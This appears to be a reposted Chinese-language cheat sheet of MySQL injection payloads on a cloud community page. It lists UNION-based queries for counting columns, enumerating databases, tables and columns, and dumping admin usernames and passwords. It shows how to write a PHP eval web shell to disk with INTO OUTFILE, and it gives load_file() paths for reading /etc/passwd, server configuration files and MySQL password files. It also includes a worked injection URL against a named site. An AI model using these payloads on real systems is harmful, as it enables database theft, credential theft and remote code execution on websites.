MYSQL注入語句

來源:互聯網
上載者:User

標籤:方法   檔案查看   說明   res   file   tab   版本   windows系統   general   

  • and ord(mid(version(),1,1))>51
    • 解釋1: 確認資料庫版本 51是ASCII碼3 正確則>4.0 錯誤則<4.0,當版本大於3.0時才能使用union方法;
    • 解釋2:ord()是mysql的函數用於擷取二進位碼;
    • 解釋3:mid()是mysql的函數用於截位操作;
    • 解釋4:version()是mysql的函數用於擷取當前資料庫的版本;
  • union select 1,1,1,****1,1 
    • 解釋:聯合功能,用於試探當前sql查詢結果返回的欄位數;
  • order by 13 
    • 解釋:排序功能,根據查詢結果中的第幾個欄位數做排序,試探當前sql查詢返回的欄位數
  • union select 1,2,3,4,****11,12,13 from admin 
    • 解釋:返回正確則admin表名存在
  • union select 1,version(),3,*** 13 from admin 
    • 解釋:暴資料庫版本
  • union select 1,username,3,*** 13 from admin   
    • 解釋:暴帳號/密碼   
  • union select 1,username,3,*** 13 from admin where id=2 
    • 解釋:暴admin表 第2個使用者 主鍵為ID
  • and ord(mid(user(),1,1))=144
    • 解釋:判斷ROOT許可權 返回正確存在 
  •  and 1=1 union select 1,2,3,4,5…….n
    • 解釋:匹配欄位
  • and 1=2 union select 1,2,3,4,5…..n
    • 解釋:暴欄位位置
  • version() database() user()
    • 解釋:利用內建函數暴資料庫資訊
  •  不用猜解可用欄位暴資料庫資訊(有些網站不適用):
    • and 1=2 union all select version()
    • and 1=2 union all select database() 
    • and 1=2 union all select user() 
  • and 1=2 union all select @@global.version_compile_os from mysql.user 
    • 解釋:擷取作業系統資訊:
  • and ord(mid(user(),1,1))=114 
    • 解釋:擷取資料庫許可權,若返回正常說明為root許可權
  • and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
    • 解釋:暴庫 (mysql>5.0)Mysql 5 以上有內建庫 information_schema,儲存著mysql的所有資料庫和表結構資訊
  • and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進位) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)
    • 解釋:猜表
  • and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進位)limit 0,1
    • 解釋:猜欄位
  • and 1=2 Union select 1,2,3,使用者名稱段,5,6,7,密碼段,8,9 from 表名 limit 0,1
    • 解釋:暴密碼
  • Union select 1,2,3concat(使用者名稱段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
    • 解釋:進階用法(一個可用欄位顯示兩個資料內容) 
  • 直接寫馬(Root許可權)
    • 條件1:知道網站實體路徑
    • 條件2:有足夠大的許可權(可以用select …. from mysql.user測試)
    • 條件3:magic_quotes_gpc()=OFF select ‘<?php eval($_POST[cmd])?>‘ into outfile ‘實體路徑‘ and 1=2 union all select 一句話HEX值 into outfile ‘路徑‘
 
  •  load_file() 常用路徑:
    • replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
    • replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
      • 解釋:上面兩個是查看一個PHP檔案裡完全顯示代碼.有些時候不替換一些字元,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼.
    • load_file(char(47)) 
      • 解釋:可以列出FreeBSD,Sunos系統根目錄
    • /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 
      • 解釋:查看linux APACHE虛擬機器主機設定檔
    • c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 
      • 解釋:查看WINDOWS系統apache檔案
    • c:/Resin-3.0.14/conf/resin.conf 
      • 解釋:查看jsp開發的網站 resin檔案配置資訊
    • c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 
      • 解釋:查看linux系統配置的JSP虛擬機器主機
    • d:\APACHE\Apache2\conf\httpd.conf
    • C:\Program Files\mysql\my.ini
    • ../themes/darkblue_orange/layout.inc.php phpmyadmin 
      • 解釋:爆路徑
    •  c:\windows\system32\inetsrv\MetaBase.xml 
      • 解釋:查看IIS的虛擬機器主機設定檔
    • /usr/local/resin-3.0.22/conf/resin.conf 
      • 解釋:針對3.0.22的RESIN設定檔查看
    •  /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    • /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬機器主機查看
    •  /etc/sysconfig/iptables 
      • 解釋:本看防火牆策略
    • usr/local/app/php5 b/php.ini 
      • 解釋:PHP 的相當設定
    • /etc/my.cnf 
      • 解釋:MYSQL的設定檔
    •  /etc/redhat-release 
      • 解釋:紅帽子的系統版本
    • C:\mysql\data\mysql\user.MYD 
      • 解釋:存在MYSQL系統中的使用者密碼
    • /etc/sysconfig/network-scripts/ifcfg-eth0 
      • 解釋:查看IP
    • /usr/local/app/php5 b/php.ini 
      • 解釋:PHP相關設定
    • /usr/local/app/apache2/conf/extra tpd-vhosts.conf 
      • 解釋:虛擬網站設定
    • C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
    • c:\windows\my.ini
    • c:\boot.ini
    • 網站常用設定檔 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
    • 註:Char(60)表示 <,Char(32)表示 空格
  • 手工注射時出現的問題:
    • 當注射後頁面顯示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation ‘UNION‘
      • 如:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20,這是由於前後編碼不一致造成的,解決方案:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改為:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20,既可以繼續注射了。
      • 轉載自:47945745  

MYSQL注入語句

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.